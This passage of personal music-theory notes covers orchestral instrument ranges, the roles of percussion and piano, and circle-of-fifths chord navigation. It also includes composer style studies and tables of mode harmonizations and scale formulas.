      • High register is piercing, requires a lot of stamina and can be easily heard. Best in strategic bursts.
      • Middle register is sweet, bright and lyrical, best for melodies.
      • Low registers are rich and beautiful, best for intimate moments.
• Single-reeds
  • Use a single wooden reed in the mouth piece. In an orchestra, normally only clarinets (but saxophones are in this family too).
  • Clarinets (in A or Bb):
    • Range: D3-Bb6
    • Clarinet in A sounds a minor third lower than written.
    • Clarinet in Bb sounds a major second lower than written.
    • Breaking point between Bb5-B5, which means we need to avoid repetitive figures between these two.
    • Different tone colors:
      • High register is powerful and shrill. Easy to hear. Best saved for strategic moments.
      • Middle register is expressive and melodic. Most frequent register, very emotional.
      • Low registers are rich, deep and full, but have very weak carry power, best for intimate moments.
  • Bass Clarinets (in A or Bb):
    • Range (an octave and major 2nd lower than written):
      • Sounding range: Bb1-B5
      • Written range: E3-A7 (major 9th)
    • Normally only the lowest registers are used, since higher registers are reserved for the regular clarinets.
• Double-reeds
  • Use two wooden reeds reed in the mouth piece. Behave opposite to flutes and single-reeds, where they are more powerful in lower registers and thinner in upper ones.
  • Oboe:
    • Soprano of double-reeds.
    • Range: Bb3-A6
    • Melodic range: F4-C5
  • English horn (extends range of oboe):
    • Range:
      • Sounding range: E3-C6
      • MWritten range: B4-G6
  • Bassoon:
    • Tenor/bass of double reeds and woodwinds.
    • Range: Bb1-F5
    • In their middle register they blend well with horns and other instruments.
    • Usually used for doubling the bass lines.
  • Contrabass bassoon:
    • True bass of the orchestra.
    • Range:
      • Sounding range: Bb0-C4
      • Written range: Bb1-C5

Woodwinds are best employed by taking advantage of their variety of tone colors. Commonly perform scale runs and trills once the melody and harmony have already been established. These scales should add color, but remain in the background. They can be used for bass line and chords, but best used like so in intimate and quiet moments. Woodwinds are great for soloing or doubling melodies, but mind the ranges and tone colors we want to achieve.

Percussion

The largest section of the orchestra, capable of the loudest and quietest sounds. They are typically categorized by their construction (idiophones, membranophones, chordophones, aerophones) and whether they are pitched or non-pitched.

• Timpani: A collection of 4-5 membranophones of different sizes, where each drum is tuned one pitch at a time. They can be retuned, given enough time.
  • Range: C2-C4 (Each drum covers a range of approximately a fifth).
  • Best for fast rhythmic passages and building tension and energy with rools and swells.
• Xylophone: Collection of small blocks that produce pitch when struck.
  • Range:
    • Written: C4-C6
    • Sounding: C5-C7 (Or even lower).
  • Bright sounding and can easily cut through the mix.
  • Fast decay.
  • Can only play 2 notes are a time.
  • Good choice for fast rhythmic passages and doubling to add tone color or attack to a sound.
• Marimba: Very similar to the xylophone.
  • Range: C3-C7
  • Can be played with 2 mallets per hand.
  • Good choice for fast rhythmic passages and doubling to add tone color or attack to a sound.
• Vibraphone: Very similar to the xylophone.
  • Range: F3-F6
  • Has a motor that can be used to add vibrato to a sound and help sustain notes longer.
• Glockenspiel: A small Xylophone.
  • Range:
    • Written: G3-C6
    • Sounding: G5-C8
  • Can only play 2 notes are a time.
  • Very bright, reminiscent of bells.
• Tubular bells: Collection of large chimes that produce bell like sounds when struck.
  • Range: C4-G6
  • Has a sustain pedal.
  • Can be used to double slow melodies.
  • Careful of cluttering the sound if too many overtones overlap each other.

The traditional roles of the percussion section are:

• Doubling for color.
  • Look for opportunities where percussion instruments can be used to add additional color. Often this color is the transient/attack that these instruments provide.
• Ostinati.
  • Using percussion for a repetitive, rhythmic figure.
  • Other instruments can build on top of it or can be used to emphasize pre-existing rhythms in the music.
• Extreme dynamics.
  • Loud dynamics are useful for adding energy.
  • Quiet dynamics are useful for setting mood/texture.
• Solo statements.
  • Look for moments where the foreground/midground can benefit from a solo percussion instrument to add a new rhytmic feeling to the music.
• Highlighting accents.
  • Look at existing accents in the music or moments where you want more emphasis and consider adding a percussion hit to add to them.
• Builds and climaxes.
  • Look for moments where rolls/swells/crash can add or remove energy.
• Harmonic support.
  • Once the arrangement is drafted fully, maybe is best to step away from the piece for a bit and when revisited, evaluates if some sections feel flat. If so, adding an arpeggio or some other harmonic voicing with percussion is a way of addressing that.

Piano, celeste and harp

• Piano
  • Range: A1-D8 (One key for each chromatic note, 88-keys)
  • Can play 5 notes at a time with one hand.
  • Keep in mind hand size.
  • The grand piano has 3 pedals.
    • Sustain: Removes the damper, so notes can sustain even after releasing the key.
    • Una corda: Shift the hammers slightly so that they strike one less string per note. Creates a more delicate tone color and reduces color.
    • Sostenuto: Will only sustain the notes being played at the moment they are played. Useful for mixing sustained and staccatto notes.
  • Common roles:
    • Reinforce accents and staccato chords.
    • Doubling instruments for color and/or attack.
    • Melodic/harmonic materials as solo.
    • Doubling instruments.
• Celeste
  • Very similar to a piano, but uses chimes instead of strings. Normally played by the pianist.
  • Range:
    • Written: C3-C7
    • Sounding: C4-C8
• The harp
  • Range: C1-C8
  • It doesn’t have dedicated strings for every pitch, only the major scale. Instead it uses pedals to raising/lowering these pitches.
  • Pedal changes can happen during performance, but it needs to be given time to do it.
  • Good for diatonic passages but not so good for chromatic passages.
  • Glissandi and harmonics are common and very characteristic of the instrument.

Merging concepts

Some useful techniques for arranging and merging instruments in the orchestra are:

• Woodwind dovetailing: We can blend the flutes and clarinets together by weaving the notes of the chord between them. For example in a Cmaj7 (C-E-G-B) the clarinets play C-G and the flutes E-B (In the same range).
• French horns and trombones: Play closed voicings with french horns and open voicings for trombones.
• Strings in octaves: Playing the same lines by Violins 1 and 2, but in different octaves (Or using divisi).
• Add countermelodies in the spaces where the other instruments are sustaining anote.
• Build emotion by doubling melodic lines in subsequent repetitions. Common doubling pairs are: Flute & strings, flute & oboes, celli & bassoon, celli & base (in octaves but try not to overdo it).
• Add color to staccatto strings by doubling them with tremolo ones.

Resources

• Orchestration 101 (Tabletop Composer)
• How to Write Music for Orchestra (Guy Michelmore)

Circle of fifths

The circle of fifths is a widely used tool for composition and analysis of musical pieces. One of the first things you can use this diagram is to understand the number of flats or sharps that are in a given major key. When thinking about major keys, they can be unaltered C major or contain up to 6 sharps or flats. You can find the number of sharps by moving clockwise from the top on the outermost circle (e.g. D major has 2 sharps, F# and C#). The same applies for finding the number of flats (Db/C# major has 5 flats, Bb, Eb, Ab, Db, Gb). Note that the position of the diagram is also encoded in the diagram (Sharps start at F and move clockwise and flats at B and move counter clockwise). Furthermore, the order of sharps is F C G D A E B and the order of flats is the same, but backward B E A D G C F. The innermost circle indicates the number of flats (left) or sharps (right) corresponding to the key on the outer ring.

When looking at any note in the circle of fifths, if we move clockwise, we will find the perfect fifth, which can be helpful for finding the diatonic dominant of a key. Moving counter-clockwise we move in 4ths, also useful for the resolution of V-I cadences. This diagram can be very useful to connect different keys in this fashion. For example, G7-C-C7-F-F7-A#... is a progression that can be heard in a lot of music.

In this figure I’ve included three extra inner circles containing the notes a VI apart from the outer one. Each inner circle is the relative minor (aeolian) of the previous major mode (G minor and A# major, F major and D minor, etc.). Thanks to this, the circle of fifths can be used to find relative notes for a given root in order to help us form chords. The legend at the bottom of the circle illustrates this property.

Some ways of finding the notes for a chord from the diagram are that if we go straight down from the top circle, we can find a diminished chord. Going down a circle is a major 6th interval (VI) and going up finds the minor 3rd (bIII). Going down and clockwise we find the major 3rd (III). A major triad is easily formed by the triangular pattern down-right (III) and up (V) (C-E-G). Similarly for a minor triad we go up (mIII) and clockwise (V) (A-C-G). With this diagram is easy to find for example the bVII of G# (F#). Another funny pattern is to go down-right twice, creating a spiral representing an augmented chord (C-E-G#).

We can also easily find tritonal substitutions by moving down two circles. For example if we had the progression Dm7-G7-C6 and we wanted to spice it up, we could do Dm7-C#7-C6. Taking this further we could find the secondary dominant of Dm7 by moving clockwise from D and even for the newly added tritonal substitution C#7, prepending it with G#7, creating a A7-Dm7-G#7-C#7-C6 progression.

Chords closer to each other in the circle of fifths tend to transition more smoothly. Let’s look at a classical example with the following Beethoven chord progression from “Pathetique” in C major, extracted from this video:

|1   |2   |3   |4   |5   |6   |7   |8   |9   |10  |11  |12  |13  |14  |15  |16  |
|I   |I7  |IV  |IV7 |IIm |VI7 |IIm |II7 |V   |II7 |Vm  |V7  |I   |I+  |IV  |V   |
|C   |C7  |F   |F7  |Dm  |A7  |Dm  |D7  |G   |D7  |Gm  |G7  |C   |C+  |F   |G   |

Note the following movements: C-F, F-D, D-A, A-D, D-G, G-C, C-F. See how they follow a smooth path throughout the circle? Obviously part of the smoothness is the voice leading between the chords and the dominant cadences, but regardless, I think it’s a very interesting example!

Composers and artists study

Rachmaninoff

• Uses arpeggios spanning multiple octaves, sometimes making them more complex with some (implicit?) harmonic variation (Im-IIdim/I-Im, for example Am-Bdim/A-Am).
• Use of galloping dotted rhythm (|x| | |x| or |x| | | |x| or |x|x| | |, where each bar is a 16th note).
• Add chromatic neighbour tones for the chords.
• Use of pedal point in harmonic progressions.
• Augmented chords.
• Chords in triplets, as wide as possible.
• The chromatic scale is sometimes nudged between phrases or arpeggios.
• Multiple layers of sound and inner lines.
• Lots of question and answer lines.
• Many chords use extensions except the resolving chords.
• Use of polyrhythms in melodies.

Alexander Scriabin

• Very eccentric composer with interest in mysticism and romanticism. He had synesthesia.
• Use of short-short-long phrases.
• Switches moods fluidly, going from intimate phrases to more dramatic ones.
• “Chopin-esque elements”:
  • Progressions involving the circle of fifths.
  • Borrowed motifs from Chopin.
  • Sweeping melodies in the bel canto style.
  • Augmented sixth chords and accented non-chord tones in resolutions.
  • Similar musical forms (Mazurka, Fantasies, Nocturnes, Preludes).
• Elaborate left hand lines due to chronic pain on right arm.
• Smooth voice leading and use of chromatic chords for transitioning.
• Lots of extensions/“Jazzy chords”.
• Use of chords based on 4ths.
• Floating quality with some descending lines on the left hand instead of playing the root first.
• Heavy use of his “mystic chord” (dominant 7th chord and whole-tone scale mashup). Formed of I-b5-bVII-III-VI-II but typically used in different transpositions.

Ludwig van Beethoven

• Use of repeated chords, often in groups of 3.
• Wide-broken chords (Right hand plays arpeggio, left hand bass only).
• Use of unison melodies.
• Broken and staggered octaves.
• Lots of contrast.
• Diminished chords for tension and harmonic motion in chord and arpeggio forms.
• Use of long trills at the end of phrases.
• Imitative layers (Right mimics left for example).
• Use of inner lines.
• Warm melodies.
• Raw scales and arpeggios as single notes or in octaves.
• Dotted rhythms accompanied with periods of rest.
• Use of call and response.
• Pedal points and sustained notes.
• Repetition of sequences at different pitches.

Frédéric Chopin

• Use of the waltz form.
• Pedal points and upper common tones (like a pedal point but on the higher register).
• Arpeggios and sometimes linked with chromatic runs.
• Very lyrical melodies.
• Use of trill and other embellishments.
• Multiple voices in melodies.
• Use of Neapolitan sixth progressions.
• Diminished chords as transition points.

Claude Debussy

• Atmospheric, focused on moods and adding a lot of space between notes in a line.
• Use of arpeggiated harp-like cascades with a resonant bass line that accentuates the perfect 5th.
• Avoid using functional cadences, it is more reminiscent of modal harmony. There is plagal movement but not in the form of a typical cadence.
• Ambiguous tonality achieved by using chords with tritones without resolving them.
• Using tremolos to add tension.
• Lots of rhythmic variation in a fluid manner.
• Use of syncopated lines for an ambiguous sense of pulse.
• Move chords and gestures with parallel movement (For example unison octaves).
• Tends to use non-western scales/modes and whole tone scales.
• Bell-like sounds and lines.

Resources

• How to sound like Rachmaninoff
• How to sound like Scriabin
• How to sound like Beethoven
• How to sound like Chopin
• How to sound like Debussy

Other tools and diagrams

Matrix chord/scale reference

I created a number of diagrams for chords and scales for a matrix 8x8 controller. I intend to use this with my Launchpad Pro but it can also be used with a guitar tuned in all 4ths (E-A-D-G-C-F tuning), which I use from time to time. Here is an example of how the diagrams look like:

I compiled the main chords and scales presented here in a pdf but you can also browse the directory for individual diagrams in png and svg format.

Standard tuning (EADGBE) reference diagrams

Barry Harris chord voicings

Download as PDF

All 4ths (EADGCF) reference diagrams

Download as PDF

Scales and chords quick reference

Harmonization

Function           T          SD         T          SD         D          T          SD/D
Mode name          I          II         III        IV         V          VI         VII
------------------ ---------- ---------- ---------- ---------- ---------- ---------- ----------
Ionian             maj7       min7       min7       maj7       7          min7       m7b5
Dorian             min7       min7       maj7       7          min7       m7b5       maj7
Phrygian           min7       maj7       7          min7       m7b5       maj7       min7
Lydian             maj7       7          min7       m7b5       maj7       min7       min7
Mixolydian         7          min7       m7b5       maj7       min7       min7       maj7
Aeonian            min7       m7b5       maj7       min7       min7       maj7       7
Locrian            m7b5       maj7       min7       min7       maj7       7          min7
----------------------------------------------------------------------------------------------
Harmonic minor     min(maj7)  m7b5       maj7#5     min7       7          maj7       dim7
Locrian nat6       m7b5       maj7#5     min7       7          maj7       dim7       min(maj7)
Ionian #5          maj7#5     min7       7          maj7       dim7       min(maj7)  m7b5
Ukranian dorian    min7       7          maj7       dim7       min(maj7)  m7b5       maj7#5
Phrygian dominant  7          maj7       dim7       min(maj7)  m7b5       maj7#5     min7
Lydian #2          maj7       dim7       min(maj7)  m7b5       maj7#5     min7       7
Superlocrian bb7   dim7       min(maj7)  m7b5       maj7#5     min7       7          maj7
----------------------------------------------------------------------------------------------
Melodic minor      min(maj7)  min7       maj7#5     7          7          m7b5       m7b5
Dorian b2          min7       maj7#5     7          7          m7b5       m7b5       min(maj7)
Lydian augmented   maj7#5     7          7          m7b5       m7b5       min(maj7)  min7
Lydian dominant    7          7          m7b5       m7b5       min(maj7)  min7       maj7#5
Mixolidian b6      7          m7b5       m7b5       min(maj7)  min7       maj7#5     7
Half-diminished    m7b5       m7b5       min(maj7)  min7       maj7#5     7          7
Altered scale      m7b5       min(maj7)  min7       maj7#5     7          7          m7b5
-----------------------------------------------------------------------------------------------
Quar. Ionian       Q+4        Q          Q          +4Q        Q          Q          Q
Quar. Dorian       Q          Q          +4Q        Q          Q          Q          Q+4
Quar. Phrygian     Q          +4Q        Q          Q          Q          Q+4        Q
Quar. Lydian       +4Q        Q          Q          Q          Q+4        Q          Q
Quar. Mixolydian   Q          Q          Q          Q+4        Q          Q          +4Q
Quar. Aeonian      Q          Q          Q+4        Q          Q          +4Q        Q
Quar. Locrian      Q          Q+4        Q          Q          +4Q        Q          Q
----------------------------------------------------------------------------------------------

Scales

Scale formulas

Ionian              | 1  2  3  4  5  6  7   | W   W   H   W   W   W   H   |
Dorian              | 1  2  b3 4  5  6  b7  | W   H   W   W   W   H   W   |
Phrygian            | 1  b2 b3 4  5  b6 b7  | H   W   W   W   H   W   W   |
Lydian              | 1  2  3  #4 5  6  7   | W   W   W   H   W   W   H   |
Mixolydian          | 1  2  3  4  5  6  b7  | W   W   H   W   W   H   W   |
Aeonian             | 1  2  b3 4  5  b6 b7  | W   H   W   W   H   W   W   |
Locrian             | 1  b2 b3 4  b5 b6 b7  | H   W   W   H   W   W   W   |

Harmonic minor      | 1  2  b3 4  5  b6 7   | W   H   W   W   H   W+H H   |
Locrian nat6        | 1  b2 b3 4  b5 6  b7  | H   W   W   H   W+H H   W   |
Ionian #5           | 1  2  3  4  #5 6  7   | W   W   H   W+H H   W   H   |
Ukranian dorian     | 1  2  b3 #4 5  6  b7  | W   H   W+H H   W   H   W   |
Phrygian dominant   | 1  b2 3  4  5  b6 b7  | H   W+H H   W   H   W   W   |
Lydian #2           | 1  #2 3  #4 5  6  7   | W+H H   W   H   W   W   H   |
Superlocrian bb7    | 1  b2 b3 4  b5 b6 bb7 | H   W   H   W   W   H   W+H |

Melodic minor       | 1  2  b3 4  5  6  7   | W   H   W   W   W   W   H   |
Dorian b2           | 1  b2 b3 4  5  6  b7  | H   W   W   W   W   H   W   |
Lydian augmented    | 1  2  3  #4 #5 6  7   | W   W   W   W   H   W   H   |
Lydian dominant     | 1  2  3  #4 5  6  b7  | W   W   W   H   W   H   W   |
Mixolidian b6       | 1  2  3  4  5  b6 b7  | W   W   H   W   H   W   W   |
Half-diminished     | 1  2  b3 4  b5 b6 b7  | W   H   W   H   W   W   W   |
Altered scale       | 1  b2 b3 b4 b5 b6 b7  | H   W   H   W   W   W   W   |

Half-whole          | H W H W H W H W |
Whole-half          | W H W H W H W H |

Chords

C

D

E

F

G

A

B